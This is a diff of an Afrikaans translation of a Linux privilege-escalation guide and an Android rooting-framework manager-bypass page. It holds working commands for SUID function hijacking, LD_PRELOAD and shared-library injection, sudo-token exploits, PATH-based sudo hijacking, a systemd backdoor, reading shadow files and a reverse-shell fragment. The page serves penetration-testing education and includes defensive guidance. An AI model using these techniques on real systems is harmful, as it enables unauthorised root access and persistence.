As jy vind dat jy die **`runc`** opdrag kan gebruik, lees die volgende bladsy, aangesien **jy dit dalk kan misbruik om voorregte te verhoog**:
{{#ref}}
runc-privilege-escalation.md
@ -564,13 +564,13 @@ runc-privilege-escalation.md
D-Bus is 'n gesofistikeerde **inter-Process Communication (IPC) stelsel** wat toepassings in staat stel om doeltreffend te kommunikeer en data te deel. Ontwerp met die moderne Linux-stelsel in gedagte, bied dit 'n robuuste raamwerk vir verskillende vorme van toepassingskommunikasie.
Die stelsel is veelsydig, wat basiese IPC ondersteun wat data-uitruil tussen prosesse verbeter, wat herinner aan **verbeterde UNIX-domeinsokke**. Boonop help dit om gebeurtenisse of seine te broadcast, wat naatlose integrasie tussen stelseldelers bevorder. Byvoorbeeld, 'n sein van 'n Bluetooth-daemon oor 'n inkomende oproep kan 'n musiekspeler aanmoedig om te demp, wat die gebruikerservaring verbeter. Daarbenewens ondersteun D-Bus 'n afstandsobjekstelsel, wat diensversoeke en metode-aanroep tussen toepassings vereenvoudig, wat prosesse stroomlyn wat tradisioneel kompleks was.
Die stelsel is veelsydig en ondersteun basiese IPC wat data-uitruil tussen prosesse verbeter, wat herinner aan **verbeterde UNIX-domeinsokke**. Boonop help dit om gebeurtenisse of seine te broadcast, wat naatlose integrasie tussen stelseldelers bevorder. Byvoorbeeld, 'n sein van 'n Bluetooth-daemon oor 'n inkomende oproep kan 'n musiekspeler aanmoedig om te demp, wat die gebruikerservaring verbeter. Daarbenewens ondersteun D-Bus 'n afstandsobjekstelsel, wat diensversoeke en metode-aanroepe tussen toepassings vereenvoudig, wat prosesse stroomlyn wat tradisioneel kompleks was.
D-Bus werk op 'n **toelaat/weier model**, wat boodskaptoestemmings (metode-aanroepe, seinuitstralings, ens.) bestuur op grond van die kumulatiewe effek van ooreenstemmende beleidsreëls. Hierdie beleide spesifiseer interaksies met die bus, wat moontlik voorregverhoging deur die uitbuiting van hierdie toestemmings toelaat.
'n Voorbeeld van so 'n beleid in `/etc/dbus-1/system.d/wpa_supplicant.conf` word verskaf, wat toestemmings vir die wortelgebruiker om te besit, te stuur na, en boodskappe van `fi.w1.wpa_supplicant1` te ontvang, detailleer.
'n Voorbeeld van so 'n beleid in `/etc/dbus-1/system.d/wpa_supplicant.conf` word verskaf, wat toestemmings vir die wortelgebruiker uiteensit om te besit, te stuur na, en boodskappe van `fi.w1.wpa_supplicant1` te ontvang.
Beleide sonder 'n gespesifiseerde gebruiker of groep geld universeel, terwyl "standaard" konteksbeleide van toepassing is op almal wat nie deur ander spesifieke beleide gedek word nie.
Beleide sonder 'n gespesifiseerde gebruiker of groep geld universeel, terwyl "default" konteksbeleide op almal van toepassing is wat nie deur ander spesifieke beleide gedek word nie.
```xml
<policy user="root">
<allow own="fi.w1.wpa_supplicant1"/>
@ -612,9 +612,9 @@ cat /etc/networks
#Files used by network services
lsof -i
```
### Oopende poorte
### Oop ports
Kontroleer altyd netwerkdienste wat op die masjien loop waarmee jy nie kon interaksie hê nie voordat jy dit toeganklik gemaak het:
Kontroleer altyd netwerkdienste wat op die masjien loop waarmee jy nie kon interaksie hê nie voordat jy dit toegang verkry het:
```bash
(netstat -punta || ss --ntpu)
(netstat -punta || ss --ntpu) | grep "127.0"
@ -666,7 +666,7 @@ interesting-groups-linux-pe/
### Clipboard
Kyk of daar iets interessant in die klembord is (indien moontlik)
Kyk of daar iets interessant in die klembord geleë is (indien moontlik)
```bash
if [ `which xclip 2>/dev/null` ]; then
echo "Clipboard: "`xclip -o -selection clipboard 2>/dev/null`
@ -726,17 +726,17 @@ sudo vim -c '!sh'
```
### SETENV
Hierdie riglyn laat die gebruiker toe om **'n omgewing veranderlike in te stel** terwyl iets uitgevoer word:
Hierdie riglyn laat die gebruiker toe om 'n **omgewing veranderlike** in te stel terwyl iets uitgevoer word:
```bash
$ sudo -l
User waldo may run the following commands on admirer:
(ALL) SETENV: /opt/scripts/admin_tasks.sh
```
Hierdie voorbeeld, **gebaseer op HTB-masjien Admirer**, was **kwulnerabel** vir **PYTHONPATH-hijacking** om 'n arbitrêre python-biblioteek te laai terwyl die skrip as root uitgevoer word:
Hierdie voorbeeld, **gebaseer op HTB-masjien Admirer**, was **kwulnerbaar** vir **PYTHONPATH-hijacking** om 'n arbitrêre python-biblioteek te laai terwyl die skrip as root uitgevoer word:
```bash
sudo PYTHONPATH=/dev/shm/ /opt/scripts/admin_tasks.sh
```
### Sudo uitvoering omseiling paaie
### Sudo uitvoering omseil pad
**Spring** om ander lêers te lees of gebruik **symlinks**. Byvoorbeeld in die sudoers-lêer: _hacker10 ALL= (root) /bin/less /var/log/\*_
```bash
@ -769,9 +769,9 @@ Hierdie tegniek kan ook gebruik word as 'n **suid** binêre **'n ander opdrag ui
### SUID binêre met opdrag pad
As die **suid** binêre **'n ander opdrag uitvoer wat die pad spesifiseer**, kan jy probeer om 'n **funksie te eksporteer** wat genaamd is soos die opdrag wat die suid-lêer aanroep.
As die **suid** binêre **'n ander opdrag uitvoer wat die pad spesifiseer**, kan jy probeer om 'n **funksie** te **exporteer** wat genaamd is soos die opdrag wat die suid-lêer aanroep.
Byvoorbeeld, as 'n suid binêre _**/usr/sbin/service apache2 start**_ aanroep, moet jy probeer om die funksie te skep en dit te eksporteer:
Byvoorbeeld, as 'n suid binêre _**/usr/sbin/service apache2 start**_ aanroep, moet jy probeer om die funksie te skep en dit te exporteer:
```bash
function /usr/sbin/service() { cp /bin/bash /tmp && chmod +s /tmp/bash && /tmp/bash -p; }
export -f /usr/sbin/service
@ -785,7 +785,7 @@ Die **LD_PRELOAD** omgewing veranderlike word gebruik om een of meer gedeelde bi
Om egter die stelselsekuriteit te handhaaf en te voorkom dat hierdie funksie uitgebuit word, veral met **suid/sgid** uitvoerbare lêers, handhaaf die stelsel sekere voorwaardes:
- Die laaier ignoreer **LD_PRELOAD** vir uitvoerbare lêers waar die werklike gebruikers-ID (_ruid_) nie ooreenstem met die effektiewe gebruikers-ID (_euid_).
- Vir uitvoerbare lêers met suid/sgid, word slegs biblioteke in standaardpaaie wat ook suid/sgid is, vooraf gelaai.
- Vir uitvoerbare lêers met suid/sgid, word slegs biblioteke in standaard paaie wat ook suid/sgid is, vooraf gelaai.
Privilegie-eskalasie kan voorkom as jy die vermoë het om opdragte met `sudo` uit te voer en die uitvoer van `sudo -l` die stelling **env_keep+=LD_PRELOAD** insluit. Hierdie konfigurasie laat die **LD_PRELOAD** omgewing veranderlike toe om te bly bestaan en erken te word selfs wanneer opdragte met `sudo` uitgevoer word, wat moontlik kan lei tot die uitvoering van arbitrêre kode met verhoogde bevoegdhede.
```
@ -809,7 +809,7 @@ Dan **kompyleer dit** met:
cd /tmp
gcc -fPIC -shared -o pe.so pe.c -nostartfiles
```
Uiteindelik, **verhoog privaathede** wat loop
Laastens, **verhoog privaathede** wat loop
```bash
sudo LD_PRELOAD=./pe.so <COMMAND> #Use any command you can run with sudo
```
@ -836,7 +836,7 @@ sudo LD_LIBRARY_PATH=/tmp <COMMAND>
```
### SUID Binêre – .so inspuiting
Wanneer jy 'n binêre met **SUID** regte teëkom wat ongewone voorkoms het, is dit 'n goeie praktyk om te verifieer of dit **.so** lêers korrek laai. Dit kan nagegaan word deur die volgende opdrag uit te voer:
Wanneer jy 'n binêre met **SUID** regte teëkom wat ongewoon lyk, is dit 'n goeie praktyk om te verifieer of dit **.so** lêers korrek laai. Dit kan nagegaan word deur die volgende opdrag te loop:
```bash
strace <SUID-BINARY> 2>&1 | grep -i -E "open|access|no such file"
```
@ -859,7 +859,7 @@ Compileer die bogenoemde C-lêer in 'n gedeelde objek (.so) lêer met:
```bash
gcc -shared -o /path/to/.config/libcalc.so -fPIC /path/to/.config/libcalc.c
```
Uiteindelik, die uitvoering van die geraakte SUID-binary behoort die exploit te aktiveer, wat moontlike stelselskompromie moontlik maak.
Uiteindelik, die uitvoering van die aangetaste SUID-binaar behoort die ontploffing te aktiveer, wat moontlike stelselskompromie moontlik maak.
## Gedeelde Objekt Hijacking
```bash
@ -894,7 +894,7 @@ dit beteken dat die biblioteek wat jy gegenereer het 'n funksie moet hê wat `a_
[**GTFOBins**](https://gtfobins.github.io) is 'n saamgestelde lys van Unix-binaries wat deur 'n aanvaller benut kan word om plaaslike sekuriteitsbeperkings te omseil. [**GTFOArgs**](https://gtfoargs.github.io/) is dieselfde, maar vir gevalle waar jy **slegs argumente** in 'n opdrag kan inspuit.
Die projek versamel wettige funksies van Unix-binaries wat misbruik kan word om uit beperkte shells te breek, voorregte te verhoog of te handhaaf, lêers oor te dra, bind en omgekeerde shells te spawn, en die ander post-exploitasie take te fasiliteer.
Die projek versamel wettige funksies van Unix-binaries wat misbruik kan word om uit beperkte shells te breek, voorregte te verhoog of te handhaaf, lêers oor te dra, bind- en omgekeerde shells te genereer, en die ander post-exploitasie take te fasiliteer.
> gdb -nx -ex '!sh' -ex quit\
> sudo mysql -e '! /bin/sh'\
@ -922,11 +922,11 @@ Vereistes om voorregte te verhoog:
- Jy het reeds 'n shell as gebruiker "_sampleuser_"
- "_sampleuser_" het **`sudo` gebruik** om iets in die **laaste 15min** uit te voer (per standaard is dit die duur van die sudo-token wat ons toelaat om `sudo` te gebruik sonder om enige wagwoord in te voer)
- `cat /proc/sys/kernel/yama/ptrace_scope` is 0
- `gdb` is toeganklik (jy moet in staat wees om dit op te laai)
- `gdb` is toeganklik (jy kan dit kan oplaai)
(Jy kan tydelik `ptrace_scope` inskakel met `echo 0 | sudo tee /proc/sys/kernel/yama/ptrace_scope` of permanent `/etc/sysctl.d/10-ptrace.conf` wysig en `kernel.yama.ptrace_scope = 0` stel)
As al hierdie vereistes nagekom word, **kan jy voorregte verhoog deur:** [**https://github.com/nongiach/sudo_inject**](https://github.com/nongiach/sudo_inject)
As al hierdie vereistes nagekom word, **kan jy voorregte verhoog met:** [**https://github.com/nongiach/sudo_inject**](https://github.com/nongiach/sudo_inject)
- Die **eerste exploit** (`exploit.sh`) sal die binêre `activate_sudo_token` in _/tmp_ skep. Jy kan dit gebruik om **die sudo-token in jou sessie te aktiveer** (jy sal nie outomaties 'n root-shell kry nie, doen `sudo su`):
```bash
@ -939,7 +939,7 @@ sudo su
bash exploit_v2.sh
/tmp/sh -p
```
- Die **derde uitbuiting** (`exploit_v3.sh`) sal **'n sudoers-lêer skep** wat **sudo-tokenne ewigdurend maak en alle gebruikers toelaat om sudo te gebruik**
- Die **derde uitbuiting** (`exploit_v3.sh`) sal **'n sudoers-lêer skep** wat **sudo tokens ewige maak en alle gebruikers toelaat om sudo te gebruik**
```bash
bash exploit_v3.sh
sudo su
@ -953,7 +953,7 @@ Byvoorbeeld, as jy die lêer _/var/run/sudo/ts/sampleuser_ kan oorskryf en jy he
```
### /etc/sudoers, /etc/sudoers.d
Die lêer `/etc/sudoers` en die lêers binne `/etc/sudoers.d` stel in wie `sudo` kan gebruik en hoe. Hierdie lêers **kan standaard slegs deur gebruiker root en groep root gelees word**.\
Die lêer `/etc/sudoers` en die lêers binne `/etc/sudoers.d` konfigureer wie `sudo` kan gebruik en hoe. Hierdie lêers **kan standaard slegs deur gebruiker root en groep root gelees word**.\
**As** jy hierdie lêer kan **lees**, kan jy dalk **interessante inligting verkry**, en as jy enige lêer kan **skryf**, sal jy in staat wees om **privileges te verhoog**.
```bash
ls -l /etc/sudoers /etc/sudoers.d/
@ -979,7 +979,7 @@ permit nopass demo as root cmd vim
```
### Sudo Hijacking
As jy weet dat 'n **gebruiker gewoonlik aan 'n masjien koppel en `sudo`** gebruik om voorregte te verhoog en jy het 'n shell binne daardie gebruikerskonteks, kan jy **'n nuwe sudo uitvoerbare lêer skep** wat jou kode as root sal uitvoer en dan die gebruiker se opdrag. Dan, **wysig die $PATH** van die gebruikerskonteks (byvoorbeeld deur die nuwe pad in .bash_profile by te voeg) sodat wanneer die gebruiker sudo uitvoer, jou sudo uitvoerbare lêer uitgevoer word.
As jy weet dat 'n **gebruiker gewoonlik aan 'n masjien koppel en `sudo` gebruik** om voorregte te eskaleer en jy het 'n shell binne daardie gebruikerskonteks, kan jy **'n nuwe sudo uitvoerbare lêer skep** wat jou kode as root sal uitvoer en dan die gebruiker se opdrag. Dan, **wysig die $PATH** van die gebruikerskonteks (byvoorbeeld deur die nuwe pad in .bash_profile by te voeg) sodat wanneer die gebruiker sudo uitvoer, jou sudo uitvoerbare lêer uitgevoer word.
Let daarop dat as die gebruiker 'n ander shell gebruik (nie bash nie) jy ander lêers moet wysig om die nuwe pad by te voeg. Byvoorbeeld[ sudo-piggyback](https://github.com/APTy/sudo-piggyback) wysig `~/.bashrc`, `~/.zshrc`, `~/.bash_profile`. Jy kan 'n ander voorbeeld vind in [bashdoor.py](https://github.com/n00py/pOSt-eX/blob/master/empire_modules/bashdoor.py)
@ -1004,7 +1004,7 @@ sudo ls
Die lêer `/etc/ld.so.conf` dui aan **waar die gelaaide konfigurasielêers vandaan kom**. Tipies bevat hierdie lêer die volgende pad: `include /etc/ld.so.conf.d/*.conf`
Dit beteken dat die konfigurasielêers van `/etc/ld.so.conf.d/*.conf` gelees sal word. Hierdie konfigurasielêers **wys na ander vouers** waar **biblioteke** gaan **soek** word. Byvoorbeeld, die inhoud van `/etc/ld.so.conf.d/libc.conf` is `/usr/local/lib`. **Dit beteken dat die stelsel biblioteke binne `/usr/local/lib` sal soek**.
Dit beteken dat die konfigurasielêers van `/etc/ld.so.conf.d/*.conf` gelees sal word. Hierdie konfigurasielêers **wys na ander vouers** waar **biblioteke** gaan **soek** word. Byvoorbeeld, die inhoud van `/etc/ld.so.conf.d/libc.conf` is `/usr/local/lib`. **Dit beteken dat die stelsel biblioteke binne `/usr/local/lib` gaan soek**.
As om een of ander rede **'n gebruiker skryfregte** op enige van die aangeduide pades het: `/etc/ld.so.conf`, `/etc/ld.so.conf.d/`, enige lêer binne `/etc/ld.so.conf.d/` of enige vouer binne die konfigurasielêer binne `/etc/ld.so.conf.d/*.conf`, kan hy dalk in staat wees om voorregte te verhoog.\
Kyk na **hoe om hierdie miskonfigurasie te benut** op die volgende bladsy:
@ -1048,8 +1048,8 @@ execve(file,argv,0);
```
## Vermoëns
Linux vermoëns bied 'n **substel van die beskikbare wortelprivileges aan 'n proses**. Dit breek effektief wortel **privileges in kleiner en kenmerkende eenhede** op. Elke eenheid kan dan onafhanklik aan prosesse toegeken word. Op hierdie manier word die volle stel privileges verminder, wat die risiko van uitbuiting verlaag.\
Lees die volgende bladsy om **meer te leer oor vermoëns en hoe om dit te misbruik**:
Linux vermoëns bied 'n **substel van die beskikbare wortelprivileges aan 'n proses**. Dit breek effektief wortel **privileges in kleiner en kenmerkende eenhede** op. Elke eenheid kan dan onafhanklik aan prosesse toegeken word. Op hierdie manier word die volle stel privileges verminder, wat die risiko's van uitbuiting verlaag.\
Lees die volgende bladsy om **meer oor vermoëns te leer en hoe om dit te misbruik**:
{{#ref}}
linux-capabilities.md
@ -1057,21 +1057,21 @@ linux-capabilities.md
## Gids toestemmings
In 'n gids impliseer die **bit vir "uitvoer"** dat die betrokke gebruiker kan "**cd**" in die vouer.\
Die **"lees"** bit impliseer dat die gebruiker kan **lys** die **lêers**, en die **"skryf"** bit impliseer dat die gebruiker kan **verwyder** en **skep** nuwe **lêers**.
In 'n gids dui die **bit vir "uitvoer"** aan dat die betrokke gebruiker kan "**cd**" in die vouer.\
Die **"lees"** bit dui aan dat die gebruiker **lêers** kan **lys**, en die **"skryf"** bit dui aan dat die gebruiker **kan verwyder** en **nuwe** **lêers** kan **skep**.
## ACLs
Toegang Beheer Lyste (ACLs) verteenwoordig die sekondêre laag van diskresionêre toestemmings, wat in staat is om **die tradisionele ugo/rwx toestemmings te oortref**. Hierdie toestemmings verbeter beheer oor lêer of gids toegang deur regte aan spesifieke gebruikers toe te laat of te weier wat nie die eienaars of deel van die groep is nie. Hierdie vlak van **fynheid verseker meer presiese toegang bestuur**. Verdere besonderhede kan [**hier**](https://linuxconfig.org/how-to-manage-acls-on-linux) gevind word.
Toegang Beheer Lyste (ACLs) verteenwoordig die sekondêre laag van diskresionêre toestemmings, wat in staat is om **die tradisionele ugo/rwx toestemmings te oortref**. Hierdie toestemmings verbeter die beheer oor lêer- of gids toegang deur regte aan spesifieke gebruikers toe te laat of te weier wat nie die eienaars of deel van die groep is nie. Hierdie vlak van **fynheid verseker meer presiese toegangbestuur**. Verdere besonderhede kan [**hier**](https://linuxconfig.org/how-to-manage-acls-on-linux) gevind word.
**Gee** gebruiker "kali" lees- en skryfregte oor 'n lêer:
**Gee** gebruiker "kali" lees- en skryftoestemmings oor 'n lêer:
```bash
setfacl -m u:kali:rw file.txt
#Set it in /etc/sudoers or /etc/sudoers.d/README (if the dir is included)
setfacl -b file.txt #Remove the ACL of the file
```
**Kry** lêers met spesifieke ACL's van die stelsel:
**Kry** lêers met spesifieke ACLs van die stelsel:
```bash
getfacl -t -s -R -p /bin /etc /home /opt /root /sbin /usr /tmp 2>/dev/null
```
@ -1097,7 +1097,7 @@ screen -x [user]/[session id]
```
## tmux sessies oorname
Dit was 'n probleem met **ou tmux weergawes**. Ek kon nie 'n tmux (v2.1) sessie wat deur root geskep is, as 'n nie-privilegieerde gebruiker oorneem nie.
Dit was 'n probleem met **ou tmux weergawes**. Ek kon nie 'n tmux (v2.1) sessie wat deur root geskep is, oorneem as 'n nie-privilegieerde gebruiker nie.
**Lys tmux sessies**
```bash
@ -1139,19 +1139,19 @@ Gee aan of root kan aanmeld met ssh, die standaard is `no`. Moontlike waardes:
- `yes`: root kan aanmeld met wagwoord en private sleutel
- `without-password` of `prohibit-password`: root kan slegs aanmeld met 'n private sleutel
- `forced-commands-only`: Root kan slegs aanmeld met 'n private sleutel en as die opdragopsies gespesifiseer is
- `no` : geen
- `no` : nee
### AuthorizedKeysFile
Gee aan watter lêers die publieke sleutels bevat wat vir gebruikersverifikasie gebruik kan word. Dit kan tokens soos `%h` bevat, wat deur die tuisgids vervang sal word. **Jy kan absolute paaie aandui** (begin in `/`) of **relatiewe paaie vanaf die gebruiker se huis**. Byvoorbeeld:
Gee lêers aan wat die publieke sleutels bevat wat vir gebruikersverifikasie gebruik kan word. Dit kan tokens soos `%h` bevat, wat deur die tuisgids vervang sal word. **Jy kan absolute paaie aandui** (begin in `/`) of **relatiewe paaie vanaf die gebruiker se huis**. Byvoorbeeld:
```bash
AuthorizedKeysFile .ssh/authorized_keys access
```
Die konfigurasie sal aandui dat as jy probeer om in te log met die **private** sleutel van die gebruiker "**testusername**", ssh die publieke sleutel van jou sleutel gaan vergelyk met diegene wat geleë is in `/home/testusername/.ssh/authorized_keys` en `/home/testusername/access`
Die konfigurasie sal aandui dat as jy probeer om aan te meld met die **private** sleutel van die gebruiker "**testusername**", ssh die publieke sleutel van jou sleutel met die een in `/home/testusername/.ssh/authorized_keys` en `/home/testusername/access` gaan vergelyk.
### ForwardAgent/AllowAgentForwarding
SSH agent forwarding laat jou toe om **jou plaaslike SSH sleutels te gebruik in plaas van om sleutels** (sonder wagwoorde!) op jou bediener te laat sit. So, jy sal in staat wees om te **spring** via ssh **na 'n gasheer** en van daar af **na 'n ander** gasheer **te spring** **met** die **sleutel** wat geleë is in jou **begin gasheer**.
SSH agent forwarding laat jou toe om **jou plaaslike SSH sleutels te gebruik in plaas van om sleutels** (sonder wagwoorde!) op jou bediener te laat sit. So, jy sal in staat wees om **te spring** via ssh **na 'n gasheer** en van daar **na 'n ander** gasheer **te spring** **met** die **sleutel** wat in jou **begin gasheer** geleë is.
Jy moet hierdie opsie in `$HOME/.ssh.config` soos volg stel:
```
@ -1163,7 +1163,7 @@ Let wel dat as `Host` `*` is, elke keer as die gebruiker na 'n ander masjien spr
Die lêer `/etc/ssh_config` kan **oorskryf** hierdie **opsies** en hierdie konfigurasie toelaat of weier.\
Die lêer `/etc/sshd_config` kan **toelaat** of **weier** ssh-agent forwarding met die sleutelwoord `AllowAgentForwarding` (standaard is toelaat).
As jy vind dat Forward Agent in 'n omgewing geconfigureer is, lees die volgende bladsy as **jy mag dit misbruik om voorregte te verhoog**:
As jy vind dat Forward Agent in 'n omgewing geconfigureer is, lees die volgende bladsy as **jy mag dit kan misbruik om voorregte te verhoog**:
{{#ref}}
ssh-forward-agent-exploitation.md
@ -1177,7 +1177,7 @@ Die lêer `/etc/profile` en die lêers onder `/etc/profile.d/` is **scripts wat
```bash
ls -l /etc/profile /etc/profile.d/
```
As daar enige vreemde profielskrip gevind word, moet jy dit nagaan vir **sensitiewe besonderhede**.
As enige vreemde profielskrip gevind word, moet jy dit nagaan vir **sensitiewe besonderhede**.
### Passwd/Shadow Lêers
@ -1188,7 +1188,7 @@ cat /etc/passwd /etc/pwd.db /etc/master.passwd /etc/group 2>/dev/null
#Shadow equivalent files
cat /etc/shadow /etc/shadow- /etc/shadow~ /etc/gshadow /etc/gshadow- /etc/master.passwd /etc/spwd.db /etc/security/opasswd 2>/dev/null
```
In sommige gevalle kan jy **wachtwoord-hashes** binne die `/etc/passwd` (of ekwivalente) lêer vind
In sommige gevalle kan jy **wagwoord-hashes** binne die `/etc/passwd` (of ekwivalente) lêer vind
```bash
grep -v '^[^:]*:[x\*]' /etc/passwd /etc/pwd.db /etc/master.passwd /etc/group 2>/dev/null
```
@ -1227,7 +1227,7 @@ ExecStart=/path/to/backdoor
User=root
Group=root
```
Jou backdoor sal die volgende keer uitgevoer word wanneer tomcat begin word.
Jou backdoor sal uitgevoer word die volgende keer wanneer tomcat begin word.
### Kontroleer Gidsen
@ -1327,7 +1327,7 @@ import socket,subprocess,os;s=socket.socket(socket.AF_INET,socket.SOCK_STREAM);s
```
### Logrotate uitbuiting
'n Kwetsbaarheid in `logrotate` laat gebruikers met **skrywe toestemmings** op 'n loglêer of sy ouer directories potensieel verhoogde bevoegdhede verkry. Dit is omdat `logrotate`, wat dikwels as **root** loop, gemanipuleer kan word om arbitrêre lêers uit te voer, veral in directories soos _**/etc/bash_completion.d/**_. Dit is belangrik om toestemmings te kontroleer nie net in _/var/log_ nie, maar ook in enige directory waar logrotasie toegepas word.
'n Kwetsbaarheid in `logrotate` laat gebruikers met **skrywe toestemmings** op 'n loglêer of sy ouer gidse potensieel verhoogde bevoegdhede verkry. Dit is omdat `logrotate`, wat dikwels as **root** loop, gemanipuleer kan word om arbitrêre lêers uit te voer, veral in gidse soos _**/etc/bash_completion.d/**_. Dit is belangrik om toestemmings te kontroleer nie net in _/var/log_ nie, maar ook in enige gids waar logrotasie toegepas word.
> [!TIP]
> Hierdie kwesbaarheid raak `logrotate` weergawe `3.18.0` en ouer
@ -1336,13 +1336,13 @@ Meer gedetailleerde inligting oor die kwesbaarheid kan op hierdie bladsy gevind
Jy kan hierdie kwesbaarheid uitbuit met [**logrotten**](https://github.com/whotwagner/logrotten).
Hierdie kwesbaarheid is baie soortgelyk aan [**CVE-2016-1247**](https://www.cvedetails.com/cve/CVE-2016-1247/) **(nginx logs),** so wanneer jy vind dat jy logs kan verander, kyk wie daardie logs bestuur en kyk of jy bevoegdhede kan verhoog deur die logs met symlinks te vervang.
Hierdie kwesbaarheid is baie soortgelyk aan [**CVE-2016-1247**](https://www.cvedetails.com/cve/CVE-2016-1247/) **(nginx logs),** so wanneer jy vind dat jy logs kan verander, kyk wie daardie logs bestuur en kyk of jy bevoegdhede kan verhoog deur die logs met simboliese skakels te vervang.
### /etc/sysconfig/network-scripts/ (Centos/Redhat)
**Kwetsbaarheid verwysing:** [**https://vulmon.com/exploitdetails?qidtp=maillist_fulldisclosure\&qid=e026a0c5f83df4fd532442e1324ffa4f**](https://vulmon.com/exploitdetails?qidtp=maillist_fulldisclosure&qid=e026a0c5f83df4fd532442e1324ffa4f)
As 'n gebruiker om enige rede in staat is om **te skryf** 'n `ifcf-<whatever>` skrip na _/etc/sysconfig/network-scripts_ **of** dit kan **aanpas** 'n bestaande een, dan is jou **stelsel pwned**.
As 'n gebruiker om een of ander rede in staat is om **te skryf** 'n `ifcf-<whatever>` skrip na _/etc/sysconfig/network-scripts_ **of** dit kan **aanpas** 'n bestaande een, dan is jou **stelsel pwned**.
Netwerk skripte, _ifcg-eth0_ byvoorbeeld, word gebruik vir netwerkverbindinge. Hulle lyk presies soos .INI lêers. Hulle word egter \~sourced\~ op Linux deur Network Manager (dispatcher.d).
@ -1428,7 +1428,7 @@ cisco-vmanage.md
## Android rooting frameworks: bestuurder-kanaal misbruik
Android rooting frameworks koppel algemeen 'n syscall om bevoorregte kernel funksionaliteit aan 'n gebruikersvlak bestuurder bloot te stel. Swak bestuurder verifikasie (bv., handtekening kontroles gebaseer op FD-volgorde of swak wagwoord skemas) kan 'n plaaslike app in staat stel om die bestuurder na te boots en na root te eskaleer op reeds-gewortelde toestelle. Leer meer en ontploffingsbesonderhede hier:
Android rooting frameworks haak algemeen 'n syscall om bevoorregte kernel funksionaliteit aan 'n gebruikersvlak bestuurder bloot te stel. Swak bestuurder verifikasie (bv., handtekening kontroles gebaseer op FD-volgorde of swak wagwoord skemas) kan 'n plaaslike app in staat stel om die bestuurder na te doen en na wortel te eskaleer op reeds-gewortelde toestelle. Leer meer en ontploffingsbesonderhede hier:
{{#ref}}
android-rooting-frameworks-manager-auth-bypass-syscall-hook.md

32
src/linux-hardening/privilege-escalation/android-rooting-frameworks-manager-auth-bypass-syscall-hook.md
View File

@ -49,7 +49,7 @@ As al die kontroles slaag, cache die kern die bestuurder se UID tydelik en aanva
As die handtekening kontrole bind aan "die eerste ooreenstemmende /data/app/*/base.apk" wat in die proses FD tabel gevind word, verifieer dit nie eintlik die oproeper se eie pakket nie. 'n Aanvaller kan 'n wettig onderteken APK (die werklike bestuurder se) vooraf posisioneer sodat dit vroeër in die FD lys verskyn as hul eie base.apk.
Hierdie vertroue deur indireksie laat 'n onbevoegde app toe om die bestuurder te verteenwoordig sonder om die bestuurder se onderteken sleutel te besit.
Hierdie vertroue deur indireksie laat 'n onbevoegde app toe om die bestuurder te verteenwoordig sonder om die bestuurder se ondertekeningssleutel te besit.
Sleutel eienskappe wat uitgebuit word:
- Die FD skandering bind nie aan die oproeper se pakket identiteit nie; dit pas net pad stringe aan.
@ -139,43 +139,43 @@ result = ksu_call(CMD_BECOME_MANAGER, (unsigned long)my_data_dir, 0, 0);
return (int)result;
}
```
Na sukses, bevoorregte opdragte (voorbeelde):
After success, privileged commands (examples):
- CMD_GRANT_ROOT: bevorder huidige proses na root
- CMD_ALLOW_SU: voeg jou pakket/UID by die toelaatlys vir volhoubare su
- CMD_SET_SEPOLICY: pas SELinux-beleid aan soos deur die raamwerk ondersteun
- CMD_SET_SEPOLICY: pas SELinux beleid aan soos ondersteun deur die raamwerk
Wedloop/volhoubaarheid wenk:
Race/persistence tip:
- Registreer 'n BOOT_COMPLETED ontvanger in AndroidManifest (RECEIVE_BOOT_COMPLETED) om vroeg na herlaai te begin en probeer verifikasie voordat die werklike bestuurder.
---
## Opsporing en versagting riglyne
## Detection and mitigation guidance
Vir raamwerk ontwikkelaars:
For framework developers:
- Bind verifikasie aan die oproeper se pakket/UID, nie aan arbitrêre FDs nie:
- Los die oproeper se pakket op vanaf sy UID en verifieer teen die geïnstalleerde pakket se handtekening (via PackageManager) eerder as om FDs te skandeer.
- As slegs op die kern, gebruik 'n stabiele oproeper identiteit (taak krediete) en valideer op 'n stabiele bron van waarheid wat deur init/userspace helper bestuur word, nie proses FDs nie.
- Vermy pad-prefix kontroles as identiteit; dit is triviaal bevredigbaar deur die oproeper.
- Gebruik nonce-gebaseerde uitdaging–antwoord oor die kanaal en maak enige gekapte bestuurder identiteit skoon by opstart of op sleutelgebeurtenisse.
- As slegs kern, gebruik 'n stabiele oproeper identiteit (taak krediete) en valideer op 'n stabiele bron van waarheid wat deur init/userspace helper bestuur word, nie proses FDs nie.
- Vermy pad-prefix kontrole as identiteit; dit is triviaal om deur die oproeper bevredig te word.
- Gebruik nonce-gebaseerde uitdaging–antwoord oor die kanaal en maak enige gekapte bestuurder identiteit skoon by opstart of op sleutel gebeurtenisse.
- Oorweeg binder-gebaseerde geverifieerde IPC eerder as om generiese syscalls te oorlaai wanneer dit haalbaar is.
Vir verdedigers/blou span:
For defenders/blue team:
- Ontdek die teenwoordigheid van rooting raamwerke en bestuurder prosesse; monitor vir prctl oproepe met verdagte magiese konstantes (bv. 0xDEADBEEF) as jy kern telemetrie het.
- Op bestuurde vloot, blokkeer of waarsku oor opstart ontvangers van onbetroubare pakkette wat vinnig probeer bevoorregte bestuurder opdragte na opstart.
- Op bestuurde vloot, blokkeer of waarsku oor opstart ontvangers van onbetroubare pakkette wat vinnig probeer om bevoorregte bestuurder opdragte na opstart te gee.
- Verseker dat toestelle opgedateer is na gepatchte raamwerk weergawes; maak gekapte bestuurder ID's ongeldig op opdatering.
Beperkings van die aanval:
Limitations of the attack:
- Aangetas slegs toestelle wat reeds ge-root is met 'n kwesbare raamwerk.
- Gewoonlik vereis 'n herlaai/wedloop venster voordat die wettige bestuurder verifieer (sommige raamwerke cache bestuurder UID tot reset).
- Gewoonlik vereis 'n herlaai/race venster voordat die wettige bestuurder verifieer (sommige raamwerke cache bestuurder UID totdat dit gereset word).
---
## Verwante notas oor raamwerke
## Related notes across frameworks
- Wagwoord-gebaseerde verifikasie (bv. historiese APatch/SKRoot bou) kan swak wees as wagwoorde raai-baar/bruteforce-baar is of verifikasies foutief is.
- Pakket/handtekening-gebaseerde verifikasie (bv. KernelSU) is sterker in beginsel maar moet bind aan die werklike oproeper, nie indirekte artefakte soos FD skandeer nie.
- Magisk: CVE-2024-48336 (MagiskEoP) het getoon dat selfs volwasse ekosisteme kwesbaar kan wees vir identiteit vervalsing wat lei tot kode-uitvoering met root binne bestuurder konteks.
